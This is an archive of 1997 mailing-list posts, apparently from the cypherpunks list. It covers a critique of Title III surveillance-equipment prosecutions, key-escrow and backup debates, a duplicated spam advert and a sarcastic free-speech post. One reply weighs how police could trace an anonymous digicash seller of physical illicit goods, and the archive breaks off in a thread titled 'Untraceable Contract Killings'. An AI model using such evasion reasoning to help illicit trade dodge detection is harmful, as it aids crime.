Possible Reason.  There is great suspicion that some privileged companies
are steering some of the federal government's minions toward small
companies in order to remove possible competition from the marketplace --
in other words it is possible that the law is being selectively enforced
for the benefit of some firms.  Professionals who know their way around in
this arena are aware of some targeting that had been orchestrated by
entities that, although they deal in a big way with Title III equipment,
have remained unaffected by the federal government elements that have
suddenly developed real zeal to punish those who they say sell Title III
equipment.

Background.  During the past TWENTY-NINE YEARS (since passage of Public Law
90-351, "The Safe Streets Act of 1968"), law enforcement at all levels in
this country has benefited because of a reasonable interpretation of the
elements of that law.  That has now all changed.  To allow you to
understand the situation we must first cover the specifics of the law, and
the way it has been interpreted over the years.

First, the prohibitions.  The law proscribes the use, possession and
even advertising of equipment "knowing or having reason to know that the
design of such device renders it primarily useful for the surreptitious
interception of ... communication".  Obviously there are categories of
people who are exempted from these prohibitions - such as the very law
enforcement people who would use it in investigations.  However, one of
those exemptions is now being reinterpreted.

I refer specifically to the interpretation of the exception relating to
"...an officer, agent, or employee of, or a person under contract with, the
United States, a State, or a political subdivision thereof..."  For almost
thirty years that phrase has been interpreted that honest businessmen
(manufacturers or dealers) who sold Title III equipment only to law
enforcement agencies were "agents under contract to...".  Small business
entrepreneurs and their dealers have, since passage of the PL 90-351,
operated under the belief that, if their customers were federal, state or
local law enforcement organizations, they were operating legally when they
designed, built and sold such equipment (or marketed it as agents of the
builder). 

Never having had any notice by any government body that a specific item
could be considered "Title III", sellers felt no compunction to refrain
from advertising and no concern about selling to non-law enforcement (except for obvious Title III items such as body wires).  This dogma has been reinforced and solidified by almost thirty years of practice.
   
Before covering the 1996/7 reinterpretation of this law, let's review
some recent events.

Enforcement History.  In 1991 or 1992 several businesses received a
certified letter from the FCC that began "It has come to our attention that
you are marketing..." and went on to accuse all of us of various felonies.
My written request to be told the specific product and the specific accuser
is to this day still unanswered.  However, one man, whose letter was
ignored and whose FOIA inquiry was ignored, finally inquired through his
congressman.  He was then informed that his FOIA action was sent to the
wrong address (!), and that the FCC accusations were based on "anonymous
telephone tips".  Yeah, Right.  (Those of us who are knowledgeable of the
players have a good idea of how those "anonymous" tips were received; we
remember seeing the guy who was siccing his FCC toady on various exhibitors
at more than one trade show.  Ah well.)
   
Then about two years ago a bunch of stores with "spy" in their names
were raided by the Customs Department for importing and selling forbidden
radio transmitting equipment.  (Personal comment: Good riddance; they were
mostly rip-off artists preying on people who wanted to spy on others.)
   
However, the serious reinterpretation that is tying up resources started
last year.  In 1996 and 1997 there has been a lot of activity based on 1)
lawyers pretending to be all-knowing technical experts and 2) a
reinterpretation of the exception clause quoted above. 

Current Status.  To the best of my knowledge, the first activity in this
"reinterpreting" arena was the indictment of Gilbert Walz and Jude Daggett
by US Attorney Michael J. Yamaguchi in the US District Court of Northern
California.  The indictment accuses them of selling devices "whose [sic]
design renders them primarily useful for the purpose of the surreptitious
interception of wire, oral and electronic communications".  (The paper I
have in front of me is called "SUPERSEDING INDICTMENT" and is dated May 2,
1996.)

There is no reference in this indictment - or in any of the other
government papers I have - to the expert on whose opinion these indictments
are based.  Therefore, I have the terrible suspicion that Michael J.
Yamaguchi took it upon himself to make the kind of determination that can
only be made by a technical expert with education and experience in the field.
   
Both Walz and Daggett have been "out on bail" until the very recent
past.  Then, within the past few months,   it appears that various players
in this arena have been pressured to "set up" those gentlemen.

Walz took a telephone order for a piece of equipment, ordered it shipped
from Canada, and was arrested when it arrived in the hands of the man who
ordered it.  He never saw it, never touched it, never got paid one cent,
but was arrested and jailed for about one month before bail was set at one
hundred thousand dollars.  (By the way the man who ordered the equipment
and who received it, is still free as a bird.)  

Daggett also was arrested (after also apparently being set up) and
jailed, but released after a week or two on personal recognizance.
   
I think it is important to note that these men have been selling these
items for years, and had asked one government official after another if
there was any question as to their legality.  The only answers they
received were non-committal.

Deleterious Results from These Actions.  These (and possibly other) actions
by various entities at the federal level have caused the "unarrested"
members of this community to pull in their horns.  They will no longer even
admit to possessing equipment that might be capriciously classified as
Title III.
   
The net result, unless some sensible order is created from this miasmic
mess, will be a set back for state and local LE bodies of five to ten years
in procurement of Title III equipment.  I say that because some of the
federal people involved have stated that "only people under contract to the
federal government" are covered by the exception noted above.  Even if that
is softened to the state and local governments as specified in the law, any
law enforcement agency that needs Title III equipment will  have to totally
technically specify its needs in a request for proposal, distribute the RFP
to a list (Where does it come from?) of competent firms, take proposals,
evaluate proposals, award contracts, evaluate products delivered; and
finally, years after the need was recognized, receive the product.

MY PERSONAL INVOLVEMENT

Last month, while Jude Daggett was locked up in jail, his partner
Gilbert Walz called and asked for my help in getting him out.  Jude called
also, and I agreed to do what I could.  The letter I sent to Jude's lawyer
follows.   

Dear *******,

I am writing this on behalf of Jude Daggett, an honest man and a good
friend of more than ten years.  However, the opinions I express are not
generated by that friendship; they are based on my education and experience
and are totally consistent with my stated positions, writings and testimony
over the years.  Let me introduce myself and briefly list my qualifications
to comment on this case and the law under which it was brought.  

I am an electrical engineer with almost fifty years of professional
experience in communications and electronics.  (A short resume follows.)  I
have been called as an expert witness in federal and state courts in civil
and criminal cases relating to electronic communication, eavesdropping,
etc.   The Office of Technology Assessment of the United States Congress
contracted with me to study and report on the vulnerability of our
telephone system to secret monitoring.  I believe I am the only engineer
ever to provide an expert opinion in federal court on the meaning of
"...knowing or having reason to know the design of which renders it
primarily useful for the surreptitious interception of ... communications"
as it relates to a specific item of electronic equipment. 

The law that applies originated as the Safe Streets Act of 1968, PL
90-351.  The specifics relating to "primarily useful for" were printed
under the heading "Title III" in that law, and that equipment has come to
be known as Title III equipment by those in this field.  90-351 and its
later versions were attempts to codify questions relating to monitoring the
communications of others, but all are flawed in many, many ways - primarily
due to the influence of lobbyists for the cellular telephone industry and
cordless telephone manufacturers.  They wanted to be able to tell their
customers "No one can listen; it's against the law."  

In truth, despite any laws that can be written, that which has been
transmitted by radio, can and will, be listened to.  That is as immutable
as water running down hill.  Common, ordinary and essential electronic
parts and systems, useful for many other purposes, can be used to monitor
radio transmissions; and no series of laws or regulations can change that
verity.  There will always be people who will listen, regardless of any
laws on the books or lies told to potential customers.

People who choose to broadcast their thoughts by radio should not be lied
to; they should be cautioned that every word can be heard by others.  In
fact, the United States Supreme Court, in an eminently fair and reasonable
ruling, said that the man who had been imprisoned based on material his
neighbors heard him say over his cordless phone had "no reasonable
expectation of privacy".   The court ruled that no one invaded his privacy,
but, rather, that the signal received by his neighbors' cordless phone had
been transmitted by his deliberate act, and the content of his messages was
in no way privileged.

Radio transmissions are radio transmissions, and although cellular
transmissions are on different frequencies and handled differently than
cordless, they are still transmissions that can be received by anyone.
I'll opine that, when the law regarding cellular is tested at the supreme
court level, the ruling on the validity of the law will be the same as it
was in the cordless phone case.
	
So, I present the idea above as something that could be called a "global
defense" of Mr. Daggett and anyone else caught in the net that has recently
been cast.  However, let's consider the specifics of Mr. Daggett's case.
	
With regard to the specific case at hand I believe the most important
consideration is the legislative history of the federal law in question.
Although I do not have a copy in front of me as I write this, the essence
of the legislative history that applies is:  "...Because this is such a
specialized field, it's obvious that the services of an expert will be
required in considering whether the design of a device renders it primarily
useful for surreptitious interception of communication."  

I have read the documentation on this case, and I am appalled at the fact
that technical laymen with no education or experience in this specialized
field have bluntly stated as a fact that the devices under consideration
are primarily useful for surreptitious interception of communication.  In
my opinion such statements are a travesty.  As a man with an education and
a lifetime of experience in the field, if I were asked that question, my
answer would be that I would have to:

have possession of each device for some time so I could operate it and compare it with other, technical equipment with similar capabilities, 
	   
evaluate the cost vs. benefit of each possible equipment for the many
possible uses, (to explain, let's consider the monitoring equipment that
could be used on fax transmissions: There is a two-channel fax monitoring
system from Denmark that costs $60,000 and has the capability of
recognizing the formats used by all fax manufacturers.  Also, it is
possible to use a $30 tape recorder and $150 fax machine to reproduce faxes
transmitted by a machine of the same make.   With no other information to
influence my opinion, I would conclude that the person trying to collect
information illegally on someone else would opt for the inexpensive
approach; and that the company that needs to monitor communication between
the headquarters and divisions located in countries all over the world
would use the expensive system so as to be sure it can decipher all
messages from all machines.)

discuss uses with others who have had experience with the equipment for various functions; and finally, spend time to allow my brain to reach a logical conclusion.

>From my point of view it is unconscionable to have a man jailed based on
the unsupported technical conclusions of laymen - laymen with no education
or experience in even basic design of electronic communication equipment
much less the kind of specialized electronic communication equipment
referred to in this case.
	
Based on what I have learned about this case, I believe this was a setup,
designed to result in the arrest of Mr. Daggett.  There was absolutely no
intent or effort on his part to violate any law; in fact, material I have
in hand indicates that he and his partner had frequently asked law
enforcement people and even a US Attorney to tell them if any of their
equipment fell into the Title III category (primarily useful for...), and
were always answered ambiguously.  Mr. Daggett was the target, and men who
were being pressured to do so by law enforcement authorities arranged to
meet him in a place that had been prewired so as to videotape the whole
activity while they pressured him into assembling the equipment and turning
it on - while not a word was spoken about any illegal use of the equipment.
	
Perfectly legal equipment can be used illegally.  An ordinary hammer can
be used to kill someone, but that doesn't mean it is primarily useful for
killing a person.  The bayonet I was issued in WWII, on the other hand, is
designed for just that purpose and no other.  In this case, serious
consideration should be given to the "primarily useful for" clause.  Is
someone interested in illegally eavesdropping on cellular conversations
going to buy  a $100 scanner or an instrument designed to fight cellular
toll fraud that costs thousands of dollars?

I have no idea whether the following thoughts are material, but I present
them because, as a legal layman, I regularly wonder about the uneven
application of some criminal laws.  For instance, while Jude Daggett is in
jail for possibly having sold a Title III piece of equipment:
	  
the Martins (who said they had monitored and recorded Newt's conference
call that Rep Boehner was on with his cellular) were fined $500 each for
the deliberate illegal recording and distribution of a cellular phone
conversation.  Where's the justice?
	   
Westinghouse (and a raft of other companies) advertise Title III
equipment regularly and continuously.  In that such advertising is also
proscribed by 18 USC 2512, I wonder how they get away with it.  Does our
federal law enforcement shy away from the bigger companies because they
have bigger budgets to defend themselves with?  Where's the justice?
	
Finally, let me go back to my original comments about this law.  It is so
ambiguous as to be farcical.  Examples:
	   
It uses the word "intercept" incorrectly so it has to contain a special
definition of it.  
	   
It refers to "audio subcarrier" a complete nonsensical combination of
words - audio is sound, a longitudinal wave and subcarrier must be RF, a
transverse wave.  
	   
It could even be interpreted in some circumstances to mean it is a
federal crime to "intentionally" listen to Muzak while on an elevator or on
hold on the telephone.

POST SCRIPT

Additional Considerations.  Since writing the letter above, I have
continued thinking about that silly law.  Sure, the legislators will tell
you they passed it to protect our privacy.  That's hogwash.  If they were
honest, they would have listened to Bob Grove when he was invited to
testify.  Instead they pilloried him, accusing him of all kinds of nasty
things.
   
Had they listened to him, or to anyone with education and experience in
this field, they would have heard that the law is unenforceable.  That
which has been broadcast  by radio will be monitored by parties other than
the intended receiver.  Unless encryption or some modern modulation
techniques are used, every broadcast can be monitored - despite the lies of
the sellers.

Two more possible lines for the defendants to take:

#1.  I am an expert and allowed, therefor, to offer an opinion in court
testimony.  However, when I have offered an opinion, I have buttressed it
with arguments and even demonstrations.  I doubt the lawyers who have
expressed opinions as facts have done, or even can do, the same.  There is
nothing in their writings other than unsupported conclusions.

2.  I think a careful evaluation of the words in the law and the
legislative history might lead to the conclusion that the " communication"
referred to by the law writers is solely communication between humans.  If
that's so, the operation of the specific item should be carefully examined.

For instance, the cellular monitoring systems print out tons of
communication between the CMTs and the MTSOs (cellular mobile telephones
and mobile telephone switching offices).  Line after line on the printout
specifies the status of all active CMTs in its area, and the details of
what number called what number, etc. etc.  If these things primarily
monitor machine communications, can they be called "primarily useful for
surreptitious interception of {human} communications?

TWO POSSIBLE SOLUTIONS

#1.  The congress could pass a new law - one based on inputs from people
who know what they're talking about and have the interests of our citizens
in mind.  (The elements of this law that cover monitoring [the law calls it
"intercepting"] of radio broadcasts is not necessary.  47 USC 705 has
served us well for many years, and makes sense.)  

#2.  As long as the stupid law stays on the books, the federal government
should establish a qualified, non-government body of experts to rule on
what is and what is not a Title III device or system. This would allow
manufacturers and dealers to know who they can sell to.

James A. Ross


+++Moderator's Note+++

I agree with Ross. The law IS unclear and can result in select prosecution of anyone who manufactures Title III equipment OR ANY TYPE of communication equipment that could POSSIBLY be used for interception...

Several years ago I asked a personal friend who was the BOSS of a "three Letter agency" (Federal) in New York City for clarification of TITLE III because I had developed a new surveillance device and wanted to manufacture and sell...

My friend told me (after checking with Justice Department Legal Counsel) that there was "no license" which would "hold harmless" a "surveillance device" manufacturer or distributor. That they operated at the discretion of the government and could be indicted at any time... He advised me (as a friend) against developing the new device since I could be indicted for simply offering it for sale to "bona fide" law enforcement agencies...

The fact of the matter is "certain" companies that are on the "in" thrive while circulating "false" data about competition and "dropping dimes" to the feds to cause competitors "problems"...

Ma Bell should also be indicted as well as MANY other companies for "manufacturing" devices which allow the "interception" of communications...

See how stupid this gets?...

This type of case affects us ALL... I hope the list will support Daggett and Walz and let there Congressman know about this farce... 

**************************************************************************

[Security List info deleted.  ]

***************************************************************************
The Codex Surveillance & Privacy News - http://www.thecodex.com
Moderator of "The Surveillance List"... http://www.thecodex.com/list.html
The Nets FIRST & ONLY list dedicated to Surveillance Technology...
"We don't spy on you... but we DO keep an eye on those that do..."
***************************************************************************






From sunder at brainlink.com  Tue Jun 10 13:13:26 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 11 Jun 1997 04:13:26 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100422.XAA03115@manifold.algebra.com>
Message-ID: 



On Mon, 9 Jun 1997, Igor Chudov @ home wrote:

> I do not see how I can be detected, modulo the security of anonymous
> remailers. Since my reputation will be based on PGP authentication, I
> will have an incentive not to cheat.

Three weaknesses in your scheme come to mind:

The bank could turn you in if you cash in the digicash (i.e. sting
operation would be to track a certain piece of digicash). So you'd have to
pass it on to others and not spend it.  

Failing that, the LEA's would then try to blast your reputation by saying
they are Joe Dimebag and that they sent you money, but you ripped them
off.  They do this enogh times, your rep goes down the tubes and everyone
will fear sending you e$.  If not the LEA's then your competitors, etc.

Third hack into your scheme: someone with loads of digicash and loads of
time (LEA, who else?) could buy lots and lots from you.  Eventually a
physical pattern would show itself in your drop boxes.  If you ever reuse
a drop location, you could easily be nabbed.


As long as the goods you deliver are physical, the above are huge factors
and make it not worth your while to do.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From kent at songbird.com  Tue Jun 10 14:19:20 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 11 Jun 1997 05:19:20 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: <19970610134844.39484@bywater.songbird.com>



On Tue, Jun 10, 1997 at 03:20:27PM -0400, Ray Arachelian wrote:
> On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
> write the following bad advice:
> 
> > If you have data you wish to guard from disclosure I think that in
> > most circumstances you want to back up ciphertext.  It is a *lot*
> > cheaper to secure a piece of paper with a passphrase on it (in a safe
> > deposit box, for example) than it is guard a gigabyte of backup tapes. 
> 
> BBBBZZZZZZZZZT!  Wrong!

> Passphrases can be memorized.

Chinese proverb: "The strongest memory is weaker than faded ink".

>  4mm DAT tapes hold several gigs and are
> tiny.

[excoriating exposure of my stupidity deleted]

You're right -- I misspoke.  I confess that I don't pay much attention
to tape technology.  I was just thinking about the robotic silos at
work -- of course, they hold a lot more than gigabytes -- individual
data files on them are frequently many gigabytes.  In this environment
(admittedly atypical, though some commercial enterprises are probably 
at least as large) it would clearly be cheaper to guard keys than it 
would be to guard the tapes.  But they guard the tapes anyway.

[long tape tutorial deleted]

> But you can leave the tapes unprotected in clear view of the world. 
> They're useless to those that don't have the passphrase.  Hence it costs
> you $0.0 to secure tapes that hold strongly encrypted information.  It
> costs a lot more to protect that said piece of paper.

After all that humiliation, thank you for exactly making my point. 
You guard the keys, you don't guard the tapes.

> If you are paranoid, you could encrypt your backup with a
> different cypher.  (i.e. use IDEA on the hard drive, then backup and
> encrypt the encrypted drive with 3DES and Blowfish, all using different
> passphrases.)

Ah yes, remembering *all* those passphrases, and what happens if you 
forget? 

> Yes, you can write your passphrase on paper, but if someone finds it you
> are screwed.

You are screwed if you forget it, to.  Either eventuality can be 
disastrous, depending on the circumstances.  For many types of data 
losing access to the data is a far bigger disaster than unauthorized 
exposure. 

> Giving such advice is dangerous.  It is as if you told
> someone to put a PostIt(tm) note with their account and password on their
> monitor, or to use their birthday as their password, or their dog's name.
> Paper is very easily compromised.  Weak passwords and passphrases are also
> easily compromised.

I am quite familiar with all these issues, Ray.

The scheme is that you write the passphrase on a piece of paper, and 
put the paper in a vault.  This reduces the risk of loss of access, 
and increases the risk of exposure.  In real environments you 
evaluate both risks.  Put it in other terms:  you have $1000000000 in 
untraceable ecash sitting encrypted on your disk.  Which is worse: 
having it stolen, or losing the key that decrypts it?  The answer is, 
they are equally bad.

Indeed you can use secret sharing techniques to hide the key -- for 
$1000000000 I probably would.  For all the secrets I currently know, 
putting the key in a vault is sufficient security.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From 40748258 at tarsey.com  Wed Jun 11 05:21:51 1997
From: 40748258 at tarsey.com (40748258 at tarsey.com)
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2





From 40748258 at tarsey.com  Wed Jun 11 05:21:51 1997
From: 40748258 at tarsey.com (40748258 at tarsey.com)
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2





From marc at cygnus.com  Tue Jun 10 14:22:39 1997
From: marc at cygnus.com (Marc Horowitz)
Date: Wed, 11 Jun 1997 05:22:39 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: 
Message-ID: 



Bill Stewart  writes:

>> An interesting perspective, but I don't know that it works.
>> For this to make sense, either the business needs to have access to
>> the stored received email if the user gets run over by a police car,
>> or else the business needs to know that it doesn't _need_ access -
>> either because the mail isn't business related, or because the
>> business-related parts have been transferred to other systems
>> using a convenient user interface.

It is impossible to know if a given email is business related or not
automatically.  Probably the best idea is to have my business email
key escrowed (by my MIS department, not uncle sam!), but to have my
personal email key not escrowed.  Probably, I want to use two
completely different email addresses.  This does require that the
sender use the correct address and key when sending me personal email.

I do believe that there is a case for private key escrow here.  Some
of you will say that the sender should just encrypt the message to me
and to the MIS message-escrow key.  This is ok, too, but it still
requires that the sender remember to do this for business email and
not for personal email, so you've just changed the nature of the
burden slightly, not removed it.

>> >The *only* reason to escrow communications keys is to spy on people;
>> >there is never an opportunity for data loss here.
>>
>> Yeah!  (Actually, the other reason to escrow them is because
>> you're using the same keys for communication and storage,

This sort of thing is where we as cryptographic engineers need to keep
on our toes.  If we never use the same key for communications and
storage encryption, this issue never comes up.

>> of storage keys, but that's only the case if you're not using
>> a sufficiently flexible cryptosystem and are using key backup
>> instead of data backup, which is really the preferred approach anyway.)

Key backup is far more practical than data backup in a large
environment.

ObCryptoIdea: a backup system which lets me set a public key
associated with my directory/disk/whatever.  The backup system will
encrypt the backup in a symmetric key encrypted by this public key.
If a restore is needed, the backup system and I engage in a dialog to
disclose the relevant symmetric key.  For mission-critical data, the
public key must come with a certificate indicating that the private
key has been escrowed, so that if I get hit by a truck, the data can
be recovered.  For personal data, I keep the private key to myself.
This means that I can have the safety of knowing my data is being
backed up, but I never have to worry about archives of my data coming
back to haunt me (unless the company/school/ISP is malicious and keeps
it's own records of the symmetric keys, but then I'm screwed in any
case).

		Marc






From nobody at huge.cajones.com  Tue Jun 10 14:28:13 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 11 Jun 1997 05:28:13 +0800
Subject: No Subject
Message-ID: <199706102120.OAA12245@fat.doobie.com>




tzeruch at ceddec.com righteously writes:

> Looking at synthetic child porn may be purely a thought crime, but it
> involves breaking a lot of societal taboos.  If someone does not have the
> self-restraint to not look at mere pictures, will they have the restraint
> to avoid comitting actual crimes?

> Although you can argue that people may be able to look without touching,
> the reason they are looking in the first place involves a release of the
> beast within.  How many such people are we willing to trust to keep that
> beast on the chain.  The law is currently structured to answer "none" to
> this question, and this may be the proper answer.

Hear, hear, brother!

Also, all womenfolk should be required to cover up their entire bodies
as well as their faces whenever they're in public or in contact with any
male above the age of puberty, even unto their male relatives.  If one
of these men doesn't have the self-restraint to not look at the woman
in the first place, will he have the restraint to keep from raping her?

After all, the reason they are looking in the first place involves a
release of the beast within.  How many such people are we willing to
trust to keep that beast on the chain?  "None" is again the proper
answer of course.


> This does not mean that I am any less a civil-cyber-libertarian

No, of course not.  How could anyone have thought so?


Praise God, brother.


Scrupulus







From nobody at REPLAY.COM  Tue Jun 10 14:49:26 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 05:49:26 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: <199706102139.XAA24563@basement.replay.com>



Tim May  wrote:
>At 4:02 AM -0700 6/10/97, Anonymous wrote:
>>Not likely, but for another reason.  Assuming you had the money to take
